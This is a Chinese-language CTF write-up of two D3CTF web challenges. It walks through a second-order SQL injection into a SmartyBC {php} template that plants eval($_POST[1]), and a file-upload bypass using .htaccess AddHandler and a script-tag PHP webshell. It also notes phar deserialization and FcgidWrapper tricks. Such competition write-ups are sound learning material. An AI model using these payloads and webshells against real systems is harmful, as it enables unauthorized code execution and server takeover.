D3ctf wp
前言
这次和队友们一起打了d3ctf,打的很自闭,不过也很开心。
easyweb
两天算是就做了这一题
主要考了两个点,一个是二次注入,另外一个是模板注入执行命令
信息收集
- codeInteger 3.1.11
- 登录,上传文件
- 登录后进入user/index 有 RCE Bug in this challenge的提示
- smarty BC (smarty 3.1.33)
- 主要有三个文件夹,application主要是项目实现的内容,system主要是ci框架的内容,template主要是模板文件。其中需要注意的是在config.php设置了smarty解析的左右分割符,可以用?c=xxx&&m=xxx来调用控制器中的方法。
- mvc模式,controller 一个文件夹,model在model里面直接写了sql语句和数据库交互。
1
2
3
4
5
6
7$config['left_delimiter'] = '\{\{';
$config['right_delimiter'] = '\}\}';
$config['controller_trigger'] = 'c';
$config['function_trigger'] = 'm';
$config['directory_trigger'] = 'd'; - smarty 安全策略
1
2
3
4
5
6
7
8//允许所有modifiers
$modifiers = array();
//smarty模板中禁止执行php函数
$my_security_policy->php_functions = null;
//模板中移除php tag
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
//允许任意流
$my_security_policy->streams = array();
本地环境调试
讲道理,做这题我有一半时间是花在这题nginx的pathinfo上的,找了好多资料都没解决问题,最后直接添加路由,改了redirect的源码来做题。
需要额外调整的地方
- 添加ci_session表
1
2
3
4
5
6
7
8CREATE TABLE IF NOT EXISTS `ci_sessions` (
`id` varchar(40) NOT NULL,
`ip_address` varchar(45) NOT NULL,
`timestamp` int(10) unsigned DEFAULT 0 NOT NULL,
`data` blob NOT NULL,
PRIMARY KEY (id),
KEY `ci_sessions_timestamp` (`timestamp`)
); - 添加路由和修改redirect的源码
application/config/route.php1
2
3
4
5
6
7$route['default_controller'] = 'user/login';
$route['user/register']='user/register';
$route['user/profile']='user/profile';
$route['user/logout']='user/logout';
$route['file/index']='file/index';
$route['404_override'] = '';
$route['translate_uri_dashes'] = FALSE;
这样差不多久可以用了
分析
首先走一遍流程,注册登录,然后每个页面看一看。
发现可以直接上传php文件,但是文件上传在tmp目录中,所以一度以为有文件包含漏洞。
不过有一个更明显的sql注入
1 |
|
这里只要能够控制username就可以控制返回的userview。
我们来分析下。
先过滤敏感词在过滤’{‘和’}’,可以用’{‘ ‘}’切割关键词绕过。
然后这里的username可以通过注册新用户来控制,而且用户名字段还没有长度限制。
1 | username=' and 0 unio{n sel{ect 1# |
然后我们跟踪这个userview发现是在user.php的index方法中被调用
1 |
|
发现这里的view会被直接传入模板display。回头看了下template,并且调试后发现,带双大括号的的tag是可以被执行的。
1 | Hi, {{$username.username}}, hope you have a good experience in this ctf game |
这里我查了下smarty 3.1.33的rce,但是这里有安全策略的存在,觉得不好操作。
不过后来发现他这里其实没有直接使用原生smarty 3.1.33而是使用了smartyBC。查看文档发现
As of Smarty 3.1 the {php} tags are only available from SmartyBC.
The {php} tags allow PHP code to be embedded directly into the template. They will not be escaped, regardless of the $php_handling setting.
就是说如果采用了smartyBC去渲染模板tag是可以用的,而且无视安全策略,那么思路来了。直接用注入写入eval($_POST[1]);解决问题。
需要注意的是这里尽管过滤了{}但是,我们可以用hex来绕过这个限制,因为hex编码的字符串在第二次被数据库调用的时候回被自动解码。
最终payload
1 | username=' and 0 uni{on sel{ect 0x7b7b7068707d7d6576616c28245f504f53545b315d293b7b7b7068707d7d# |
注册用户,登录,访问user/index,如果报错中有一段eval’d说明我们成功了,然后就是常规靠shell拿flag了。
ezupload
这道题以及之后的复现好像学了不少东西。(我觉得自己变强了,滚)
1 |
|
简单看下来主要的问题是在upload上对内容作了过滤,
- 这里的auto针对的是.user.ini的主要有两个auto_append_file和auto_prepend_file,这里可以包含任意格式的文件,相当于文件包含漏洞的操作手法。不过值得一提的是这个手段只能针对用fastcgi解析程序的服务端生效
- .htaccess 的AddType 被过滤,setHander 之类的都被过滤,但是AddHandler还可以使用
- <? 被过滤 这里可以用
<script>
来绕过,其实这里php脚本是可以直接上传的。(仅在php5中有效)
所以我们就走.htaccess 文件上传的思路,上传改进后的.htaccess 然后修改后缀名的码达到解析的目的。(没有在题目环境试验过,可能有别的限制)
但这里还有一个点,就是phar协议反序列化,这里是可以通过反序列化爆出路径的,然后可以用destruct的特性(无论是die还是正常退出,只要类销毁都会调用该方法)来列目录。
可以直接利用upload方法,利用file_get_contents触发反序列化,在destruct方法里触发toString,只要构造合适的pop即可列出open_dir下的目录。
1 | class dir |
我这里直接上传.htaccess加上传一句话(复现环境)
- action=upload & filename=.htaccess & url=data:text/plain;base64,QWRkSGFuZGxlciBwaHA1LXNjcmlwdCAgLnR4dA==
- action=upload & filename=1.txt & url=data:text/plain;,<script language=”php”>phpinfo();eval($_POST[1]);</script>
然后还有几个复现时配环境的坑
- 如果服务器是以fastcgi模式解析php的话,网上给出的方式可能都不能解决问题。有一种在.htaccess 设置 phpvalue的黑魔法,可惜这里不让你用。
1
2php_value auto_prepend_file "xxx"
php_value auto_append_file "xxx" - 如果存在mod_fcgid.so 模块被加载的情况,并且能够知道php-cgi的执行文件位置,就可以用这种。
1
2
3Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc总结
这次比赛尽管完完全全靠自己搞出来的题目没一道,但总感觉对一些东西的理解更深入了,一个.htaccess可以玩出这么多花样我也是没想到的。另外一个就是环境的问题,,哎以后赶时间就用docker搞吧,各种东西还是挺麻烦的。
最后如果有空想去搞搞fast-cgi+ apache + mod_proxy_fcgi模块的.htaccess的利用。
补充与修正
题目的环境的php版本是7所以没有办法解析
<script language=”php”>
这样的标签标签
reference: